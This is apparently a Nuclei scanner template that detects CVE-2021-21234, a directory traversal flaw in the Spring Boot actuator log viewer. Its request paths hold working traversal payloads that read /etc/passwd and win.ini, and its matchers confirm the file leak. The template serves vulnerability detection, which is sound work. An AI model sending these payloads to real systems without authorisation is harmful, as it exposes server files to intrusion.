id: CVE-2021-21234

info:
  name: Spring Boot Actuator Logview Directory Traversal
  author: gy741,pikpikcu
  severity: high
  description: |
    spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
  reference:
    - https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
    - https://github.com/cristianeph/vulnerability-actuator-log-viewer
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21234
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2021-21234
    cwe-id: CWE-22
  tags: cve,cve2021,springboot,lfi,actuator

requests:
  - method: GET
    path:
      - "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"  # Windows
      - "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"  # Windows
      - "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"  # linux
      - "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"  # linux

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and

# Enhanced by mp on 2022/04/01